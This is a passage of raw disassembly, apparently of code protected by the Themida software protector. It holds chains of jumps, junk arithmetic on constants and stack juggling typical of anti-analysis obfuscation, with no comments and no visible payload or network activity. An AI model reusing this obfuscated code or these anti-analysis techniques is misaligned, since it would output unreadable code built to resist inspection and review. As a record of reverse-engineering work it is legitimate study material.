or ebx, 41AF6A2Ch
xor ebx, 329271C3h
sub ebx, 0F2B9F351h
jmp loc_59D54A
sub_59822A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_598283: ; CODE XREF: sub_591FE1+F7C7j
push dword ptr [esp+0]
pop edi
push ebp
mov ebp, esp
jmp loc_59E3B5
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59828F: ; CODE XREF: sub_59390B+808j
xchg eax, [esp+18h+var_18]
pop esp
mov [esp+14h+var_14], eax
push esp
pop eax
push ecx
push ebx
mov ebx, 4
jmp loc_5A5343
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5982A4: ; CODE XREF: Themida_:0059469Cj
pop dword ptr [esp]
push edi
jmp loc_5A4122
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5982AD: ; CODE XREF: sub_59390B-802j
push ecx
push edx
push 27F217D7h
pop edx
sub edx, 1D027042h
xor edx, 2640F109h
push esi
mov esi, edx
mov ecx, esi
pop esi
pop edx
jmp loc_59FE25
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5982CD: ; CODE XREF: Themida_:00594F24j
mov ecx, 6CBE62D1h
add ecx, 7A2756AAh
shl ecx, 5
shr ecx, 4
sub ecx, 49C76FC3h
push edi
mov edi, 61E3C2B7h
sub ecx, edi
mov edi, [esp]
add esp, 4
sub esi, ecx
pop ecx
push esi
sub dword ptr [esp], 540D78FAh
pop ebx
add ebx, 540D78FAh
pop esi
add ebx, edi
xor dword ptr [ebx], 8C5857EFh
pop ebx
push 472Ch
mov [esp], esi
push 0EE72D9Dh
pop esi
add esi, 19913018h
jmp loc_59A613
; ---------------------------------------------------------------------------
loc_598327: ; CODE XREF: Themida_:005937EFj
add ebp, edi
pop edi
sub ebp, 633847FAh
mov eax, [esp]
add esp, 4
jmp loc_598AB7
; ---------------------------------------------------------------------------
loc_59833E: ; CODE XREF: Themida_:005932A2j
push edx
push 5437h
mov [esp], ebx
jmp loc_59FF51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59834C: ; CODE XREF: sub_59390B+F9D8j
mov [esp+0], ebx
mov ebx, 17F7740h
jmp loc_590F12
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598359: ; CODE XREF: Themida_:00598C07j
add ebx, esi
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ecx
mov ecx, 14BF68F9h
jmp loc_5912B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59837C: ; CODE XREF: sub_59E918+369Bj
push ax
jmp loc_59FEE2
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_598383: ; CODE XREF: Themida_:0059F6C5j
inc esi
jmp loc_5A302F
; ---------------------------------------------------------------------------
loc_598389: ; CODE XREF: Themida_:005A42F8j
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_59569B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_5983AC: ; CODE XREF: sub_59654E+143Bj
push 0B38h
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop edx
jmp sub_590BDF
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A25D
loc_5983BE: ; CODE XREF: sub_59A25D-6CF9j
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59A25D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_5983C3: ; CODE XREF: sub_591FC5+4ED6j
mov edx, [esp+8+var_8]
add esp, 4
push [esp+4+var_4]
pop ecx
add esp, 4
xor al, bl
mov ebx, [esp+0]
add esp, 4
jmp loc_59B571
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5983E0: ; CODE XREF: sub_59390B+C6j
push [esp+4+var_4]
push [esp+8+var_8]
pop eax
add esp, 4
push esi
sub esp, 4
mov [esp+0Ch+var_C], esp
add [esp+0Ch+var_C], 4
pop esi
add esi, 4
push eax
jmp loc_593D1A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598408: ; CODE XREF: Themida_:0059178Cj
neg ebp
and ebp, 17011B4Ah
jmp loc_5971E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598415: ; CODE XREF: sub_59390B+1118Cj
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+10h+var_10]
pop esp
push [esp+0Ch+var_C]
pop eax
add esp, 4
push 49E7h
jmp loc_5A1D0A
; ---------------------------------------------------------------------------
loc_598439: ; CODE XREF: sub_59390B-1565j
xor esi, 0D207A92Fh
sub ecx, esi
pop esi
mov edx, [esp-1Eh+arg_14+2]
sub esp, 4
mov [esp-1Ah+arg_10+2], ebp
push esp
pop ebp
add ebp, 4
push eax
mov eax, 4EA10A32h
push edi
push 251C1C5Eh
mov edi, [esp-0Eh+arg_4+2]
add esp, 4
or eax, edi
pop edi
jmp loc_597965
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598470: ; CODE XREF: Themida_:0059237Fj
pop ebp
dec ebp
dec ebp
not ebp
jmp loc_5969F1
; ---------------------------------------------------------------------------
loc_59847A: ; CODE XREF: Themida_:005A48BAj
shr esi, 7
not esi
dec esi
add esi, 14E42E24h
add esi, 319C71DAh
sub edx, esi
jmp loc_59C62C
; ---------------------------------------------------------------------------
loc_598493: ; CODE XREF: Themida_:005A0870j
push esp
pop eax
push ebx
mov ebx, 38186921h
shl ebx, 8
jmp loc_5975FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5984A3: ; CODE XREF: sub_59390B+4FDj
add eax, 3BAA8C23h
add ebx, eax
pop eax
add ebx, eax
push edx
mov edx, 1AB06071h
sub edx, 56AE34E5h
and edx, 1CDF5B82h
add edx, 0FE54462h
add ebx, 750E1ADAh
sub ebx, edx
sub ebx, 750E1ADAh
mov edx, [esp-1Ah+arg_10+2]
jmp loc_5A0331
; ---------------------------------------------------------------------------
loc_5984DB: ; CODE XREF: sub_59390B+51F4j
add edx, edi
pop edi
sub esp, 4
mov [esp-1Ah+arg_10+2], edx
push [esp-1Ah+arg_14+2]
mov edx, [esp-16h+arg_C+2]
jmp loc_5A59F4
; ---------------------------------------------------------------------------
loc_5984F0: ; CODE XREF: sub_59390B+4227j
add edx, eax
add edx, 55924812h
push [esp-18h+arg_10]
pop eax
push edx
mov edx, esp
jmp loc_59D490
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598504: ; CODE XREF: Themida_:005A40ABj
mov eax, [esp]
add esp, 4
jmp loc_5A0DD6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59850F: ; CODE XREF: sub_59390B+C26Aj
mov ecx, 37B674FCh
inc ecx
push edx
mov edx, 0
add edx, 70EC596Ah
sub edx, ecx
jmp loc_59F334
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598528: ; CODE XREF: Themida_:0059DBA2j
push eax
mov eax, offset byte_434421
shl eax, 8
xor eax, 44B70F4Fh
sub esi, eax
pop eax
pop ebp
add eax, esi
mov esi, [esp]
jmp loc_59D633
; ---------------------------------------------------------------------------
loc_598544: ; CODE XREF: Themida_:0059D31Ej
dec esi
and esi, 5AC27B3Fh
neg esi
xor esi, 0D49F4904h
jmp loc_5A1E6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598558: ; CODE XREF: sub_59390B+4EA4j
add ecx, 6BC65E0Bh
jmp loc_5936E5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_598563: ; CODE XREF: sub_591FC5+975Dj
not ah
xchg ah, dh
jmp loc_59C301
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59856C: ; CODE XREF: sub_59390B+2F6j
push 7A06h
mov [esp-10h+arg_8], esi
mov esi, 20101D75h
push 2380h
mov [esp-0Ch+arg_4], ecx
jmp loc_591E75
; ---------------------------------------------------------------------------
loc_598586: ; CODE XREF: sub_59390B+ABD8j
add ecx, 496A01CEh
pop eax
push edi
push eax
push 61FD7B1Dh
pop eax
not eax
jmp loc_5925D5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59859C: ; CODE XREF: Themida_:005A0BBFj
pop ebp
dec ecx
push 227Ah
jmp loc_5A1C03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5985A8: ; CODE XREF: sub_59390B+64j
push ecx
mov ecx, 6A7F2083h
add [esp-8+arg_8], ecx
jmp loc_5A0875
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2801
loc_5985B7: ; CODE XREF: sub_5A2801-58B7j
add edx, 272042E4h
add edx, 580942ECh
add edx, ecx
jmp loc_592667
; END OF FUNCTION CHUNK FOR sub_5A2801
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5985CA: ; CODE XREF: sub_59390B+C515j
add ebx, eax
sub ebx, 5246AEAh
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_5A381B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5985E3: ; CODE XREF: Themida_:005997ACj
xor ch, 0ECh
inc ch
or ch, 0D5h
sub ch, 97h
add al, ch
mov ecx, [esp]
jmp loc_5A0089
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5985F8: ; CODE XREF: sub_59390B+30E1j
mov [esp+0], eax
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598600: ; CODE XREF: Themida_:0059CB45j
push ebp
xchg esi, [esp]
not esi
xchg esi, [esp]
pop ebp
shl ebp, 3
push edi
jmp loc_597893
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_598613: ; CODE XREF: sub_590BDF+133D0j
push 52EBh
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
mov esi, [esp+8+var_8]
jmp loc_599A5F
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598627: ; CODE XREF: sub_59390B+D958j
shl eax, 1
shl eax, 4
xchg eax, ebx
dec ebx
push eax
push ebx
pop eax
pop ebx
sub eax, 3FE8DEDBh
add edx, 5515ADFh
add edx, eax
jmp loc_59D1A2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598644: ; CODE XREF: Themida_:0059CA17j
push eax
mov eax, 61C930B8h
jmp loc_59F176
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59C8A4
loc_59864F: ; CODE XREF: sub_59C8A4-AEB8j
pop ebx
add ebp, 404E3C87h
push [esp-8+arg_4]
pop esi
jmp loc_59741D
; END OF FUNCTION CHUNK FOR sub_59C8A4
; ---------------------------------------------------------------------------
loc_59865F: ; CODE XREF: Themida_:0059473Dj
pop esi
push eax
push edi
jmp loc_5A44E1
; ---------------------------------------------------------------------------
loc_598667: ; CODE XREF: Themida_:0059A023j
push ebp
jmp loc_5A4BD2
; ---------------------------------------------------------------------------
loc_59866D: ; CODE XREF: Themida_:005910E5j
mov [esp], dx
jmp loc_59E2E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A28F6
loc_598676: ; CODE XREF: sub_5A28F6-2C78j
mov esp, [esp+8+var_8]
jmp loc_5A4731
; END OF FUNCTION CHUNK FOR sub_5A28F6
; ---------------------------------------------------------------------------
loc_59867E: ; CODE XREF: Themida_:005953AAj
and si, 269Ch
shl si, 3
jmp loc_5A3BF8
; ---------------------------------------------------------------------------
loc_59868C: ; CODE XREF: Themida_:0059987Ej
sub eax, 0FFFFFFFFh
sub eax, 0D43C46Bh
sub eax, ebp
xchg eax, ebp
jmp loc_5A325F
; ---------------------------------------------------------------------------
loc_59869E: ; DATA XREF: Themida_:005907DCo
mov ax, [esp]
push 0F0Fh
mov [esp], ecx
push esp
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, 3C1C3A85h
add ebx, 23627BF4h
xor ebx, 0CD07DFCh
push edi
jmp loc_5A040A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4F4F
loc_5986CC: ; CODE XREF: sub_5A4F4F-135D2j
push [esp+8+var_8]
mov ebx, [esp+0Ch+var_C]
sub esp, 4
mov [esp+10h+var_10], edx
push esp
pop edx
add edx, 4
jmp loc_593B70
; END OF FUNCTION CHUNK FOR sub_5A4F4F
; ---------------------------------------------------------------------------
loc_5986E8: ; CODE XREF: Themida_:0059D234j
mov esi, 0EF60AFAh
sub dword ptr [esp+8], 4B6B7B2Fh
add [esp+8], esi
add dword ptr [esp+8], 4B6B7B2Fh
mov esi, [esp]
push edx
push 1AF6h
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push edx
push esi
mov esi, 519536FEh
inc esi
xor esi, 32E87702h
or esi, 481378C7h
add esi, 0B4CC8706h
mov edx, esi
pop esi
add [esp+8], edx
pop edx
sub dword ptr [esp+4], 7FBE27A9h
sub [esp+4], edx
add dword ptr [esp+4], 7FBE27A9h
jmp loc_5A350F
; =============== S U B R O U T I N E =======================================
sub_598762 proc near ; DATA XREF: Themida_:00590A48o
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 00593645 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594DBD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005958B4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059783B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005987FF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005989FC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AA29 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C16D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059D92E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059F273 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F3BB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A021C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A386F SIZE 0000000C BYTES
mov cx, [esp+0]
sub esp, 4
mov [esp+4+var_4], ebp
sub esp, 4
push esp
pop [esp+0Ch+var_C]
add [esp+8+var_8], 4
jmp loc_59D92E
sub_598762 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59877F: ; CODE XREF: sub_59390B+B180j
mov esi, edi
pop edi
add esi, 0FFFFFFFFh
xor esi, 15354E3Eh
inc esi
jmp loc_590DA3
; ---------------------------------------------------------------------------
loc_598791: ; CODE XREF: sub_59390B+5D22j
push edi
mov edi, 75FC2742h
mov ecx, edi
pop edi
add ecx, 1D1E6197h
sub ecx, 64846498h
shr ecx, 7
and ecx, 34F61CF9h
jmp loc_598558
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5987B4: ; CODE XREF: Themida_:0059114Aj
xchg edi, [esp]
jmp loc_595E9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5987BC: ; CODE XREF: sub_59390B+666j
pop esp
add ax, 4A96h
add ax, 3558h
jmp loc_595969
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A21DE
loc_5987CA: ; CODE XREF: sub_5A21DE-B07Bj
shr eax, 0Ch
xor eax, ecx
push eax
xor [esp+4+var_4], ebp
xor ebp, [esp+4+var_4]
xor [esp+4+var_4], ebp
push 6C50h
mov [esp+8+var_8], ebp
jmp sub_5A12B1
; END OF FUNCTION CHUNK FOR sub_5A21DE
; ---------------------------------------------------------------------------
loc_5987E6: ; CODE XREF: Themida_:00595CF7j
or ebx, edx
pop edx
jmp loc_59FD7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5987EE: ; CODE XREF: sub_59390B-E0j
mov edx, [esp-10h+arg_8]
add esp, 4
dec eax
sub eax, 33BB47D4h
jmp loc_5A18B8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_5987FF: ; CODE XREF: sub_598762+22CDj
xchg ecx, [esp+0Ch+var_C]
pop esp
push esi
mov esi, 4
add ebp, esi
jmp loc_593645
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
loc_598810: ; CODE XREF: Themida_:0059F7CEj
mov ebx, esp
push 3F21h
mov [esp], eax
push 0F8D1A66h
pop eax
not eax
inc eax
or eax, 346431A7h
jmp loc_5A0606
; ---------------------------------------------------------------------------
loc_59882D: ; CODE XREF: Themida_:005978A3j
push dword ptr [esp]
pop ebp
push ebp
jmp loc_59BA7F
; ---------------------------------------------------------------------------
loc_598837: ; CODE XREF: Themida_:005A2138j
add ebx, eax
mov eax, [esp]
add esp, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_5A4B59
; ---------------------------------------------------------------------------
loc_59884D: ; CODE XREF: Themida_:005A34A4j
xchg edi, [esp]
mov esp, [esp]
push 5E86h
jmp loc_59BD2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59885D: ; CODE XREF: sub_59390B+2278j
mov ecx, [esp-8+arg_0]
jmp loc_5A4964
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_598865: ; CODE XREF: sub_59EA40-2F5Fj
xchg edx, [esp+0Ch+var_C]
pop esp
jmp loc_59C8AA
; END OF FUNCTION CHUNK FOR sub_59EA40
; =============== S U B R O U T I N E =======================================
sub_59886E proc near ; CODE XREF: sub_590BDF+45A1j
; sub_59DC9E-82BFj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00594591 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00594DCA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597075 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005971AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005977F6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00598B15 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059C581 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C7FA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D16D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059E616 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A08D0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1BC9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A34C5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4ECD SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], ecx
push 25E6h
mov [esp+8+var_8], ebx
mov ecx, [esp+8+var_8]
add esp, 4
push ebp
jmp loc_594DCA
sub_59886E endp
; ---------------------------------------------------------------------------
loc_59888B: ; CODE XREF: Themida_:0059242Fj
push dword ptr [esp]
jmp loc_5A29C6
; ---------------------------------------------------------------------------
loc_598893: ; CODE XREF: Themida_:00595F22j
pop edi
mov eax, [esp]
add esp, 4
sub ecx, 8163B7D5h
jmp loc_5A42AE
; ---------------------------------------------------------------------------
loc_5988A5: ; CODE XREF: Themida_:005923A0j
dec edi
add edi, 0C0B8D86Dh
jmp loc_59F0E7
; ---------------------------------------------------------------------------
loc_5988B1: ; CODE XREF: Themida_:0059329Cj
pop edx
jmp loc_59608D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BBA6
loc_5988B7: ; CODE XREF: sub_59BBA6-927Cj
pop ebx
and ebx, ebp
mov ebp, [esp-4+arg_0]
jmp loc_59B0B9
; END OF FUNCTION CHUNK FOR sub_59BBA6
; ---------------------------------------------------------------------------
loc_5988C2: ; CODE XREF: Themida_:005A442Aj
pop edx
add [esp+8], eax
mov eax, [esp]
add esp, 4
push edx
push eax
push 58D85187h
pop eax
jmp loc_59A8C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5988DD: ; CODE XREF: sub_59390B+8494j
add ebp, edx
push [esp-8+arg_0]
jmp loc_598B3B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F38
loc_5988E7: ; CODE XREF: sub_599F38+54DCj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+10h+var_10]
pop esp
push 50EBh
mov [esp+10h+var_10], eax
push 322Bh
push esp
pop [esp+18h+var_18]
add [esp+14h+var_14], 4
pop eax
add eax, 4
add eax, 4
xor eax, [esp+10h+var_10]
xor [esp+10h+var_10], eax
xor eax, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
add ebp, 4
jmp loc_59CEDE
; END OF FUNCTION CHUNK FOR sub_599F38
; ---------------------------------------------------------------------------
loc_598931: ; CODE XREF: Themida_:005A0502j
add ebp, 4
xchg ebp, [esp]
jmp loc_59C360
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59893C: ; CODE XREF: sub_59390B-1478j
add ecx, 4
push edi
mov edi, 9000380h
shl edi, 8
inc edi
sub edi, 37FFDh
jmp loc_593A18
; ---------------------------------------------------------------------------
loc_598957: ; CODE XREF: sub_59390B+B5A0j
mov [esp-0Eh+arg_4+2], ebp
mov ebp, 179C3F32h
xor ebp, 31292120h
and edx, ebp
mov ebp, [esp-0Eh+arg_4+2]
add esp, 4
xor edx, 45056C4Dh
jmp loc_59E135
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59897B proc near ; CODE XREF: sub_59390B+CB3Cj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059C81D SIZE 00000008 BYTES
push ebx
mov ebx, 4
add [esp+4], ebx
push [esp+4+var_4]
pop ebx
add esp, 4
jmp loc_59C81D
sub_59897B endp
; ---------------------------------------------------------------------------
loc_598994: ; CODE XREF: Themida_:0059E611j
xor ebp, edx
jmp loc_5A234B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59899B: ; CODE XREF: sub_59390B+AC00j
pop esi
push eax
mov eax, 40F93A35h
shr eax, 2
jmp loc_59B0DB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5989AA: ; CODE XREF: Themida_:005A2ECAj
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5A5A8E
; ---------------------------------------------------------------------------
loc_5989C5: ; CODE XREF: Themida_:00595FAEj
add bl, al
push edx
mov dl, 8Fh
push 6F67h
mov [esp], ecx
push edx
push ebx
push ecx
jmp loc_59BEA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592586
loc_5989DA: ; CODE XREF: sub_592586+1j
mov ebx, 5B6E3288h
or ebx, 492752DDh
sub ebx, 87016FCCh
add esi, ebx
mov ebx, [esp+4+var_4]
add esp, 4
push ebp
jmp loc_59FD50
; END OF FUNCTION CHUNK FOR sub_592586
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_5989FC: ; CODE XREF: sub_598762+7ABBj
mov ecx, esp
add ecx, 4
jmp loc_59AA29
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A958
loc_598A09: ; CODE XREF: sub_59A958-5C2Cj
pop edx
push edi
mov edi, 4122FFAh
add esi, edi
jmp loc_5A1E0A
; END OF FUNCTION CHUNK FOR sub_59A958
; ---------------------------------------------------------------------------
loc_598A17: ; CODE XREF: Themida_:0059CE52j
mov ebp, esp
push 2A9Ah
mov [esp], edi
mov edi, 686261EFh
add edi, 1
jmp loc_5A0659
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598A31: ; CODE XREF: sub_59390B+386Cj
mov esi, esp
push ebx
mov ebx, 4
sub esi, 352221D6h
add esi, ebx
add esi, 352221D6h
pop ebx
add esi, 4
push esi
push [esp-0Eh+arg_8+2]
pop esi
pop [esp-0Eh+arg_4+2]
jmp loc_59ECAF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598A5C: ; CODE XREF: Themida_:00591720j
add esi, 4399290Bh
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push ecx
mov ecx, 30CA3383h
push ebx
push eax
mov eax, 11172AFBh
mov ebx, 1FB30886h
add ebx, eax
pop eax
xor ecx, ebx
pop ebx
sub esi, 68D0597Dh
add esi, ecx
jmp loc_5A2D2C
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
push ebp
mov ebp, esp
jmp loc_59EBE2
; ---------------------------------------------------------------------------
loc_598AB7: ; CODE XREF: Themida_:00598339j
xor ebp, [esp]
jmp loc_5A4099
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_598ABF: ; CODE XREF: sub_595BAD+DD0Bj
push 77764339h
pop edi
and edi, 5CA341D6h
push eax
mov eax, 13BF6C69h
add eax, 50882DDDh
and eax, 46A8734Ch
or eax, 642C478Eh
xor eax, 602F59E7h
jmp loc_59D5DF
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598AEA: ; CODE XREF: sub_59390B+BD09j
add esp, 4
push edi
mov edi, 7E7F7C3Bh
shr edi, 6
sub edi, 1F9FDECh
jmp loc_5984DB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598B04: ; CODE XREF: Themida_:0059C55Aj
add ecx, 4
xchg ecx, [esp]
pop esp
push 6807h
jmp loc_592A85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_598B15: ; CODE XREF: sub_59886E-3A96j
xchg ebp, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ecx
sub esp, 4
mov [esp+8+var_8], esi
jmp loc_597075
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_598B2A: ; CODE XREF: sub_59F4E7+1D29j
mov eax, [esp+0]
add esp, 4
xchg ebx, [esp-4+arg_0]
jmp loc_591E81
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_598B3B: ; CODE XREF: sub_59390B+4FD7j
pop edx
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0]
pop esp
sub esp, 4
jmp loc_596A5D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_598B58: ; CODE XREF: Themida_:005A27FCj
pop edx
or edx, 1A4B59AAh
sub esp, 4
mov [esp], edi
mov edi, 5B0A527Dh
jmp loc_599AB3
; ---------------------------------------------------------------------------
loc_598B6F: ; CODE XREF: Themida_:005932DEj
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov ax, [esp]
push 921h
jmp loc_5950F5
; ---------------------------------------------------------------------------
loc_598B8C: ; CODE XREF: Themida_:0059CBFEj
push dword ptr [esp+4]
jmp loc_59CD56
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_598B95: ; CODE XREF: sub_59E918+4589j
shr ah, 2
or ah, 0CEh
xor ah, 60h
sub bl, 0C3h
add bl, ah
push cx
jmp loc_59B4F2
; END OF FUNCTION CHUNK FOR sub_59E918
; =============== S U B R O U T I N E =======================================
sub_598BAA proc near ; CODE XREF: sub_59390B+80j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005960DD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596252 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FFDE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3346 SIZE 00000008 BYTES
push ebx
mov ebx, 24587F15h
mov edi, 0DBA780EFh
jmp loc_596252
sub_598BAA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_598BBA: ; CODE XREF: Themida_:005A2B6Aj
mov ebx, [esp]
jmp loc_59B7CE
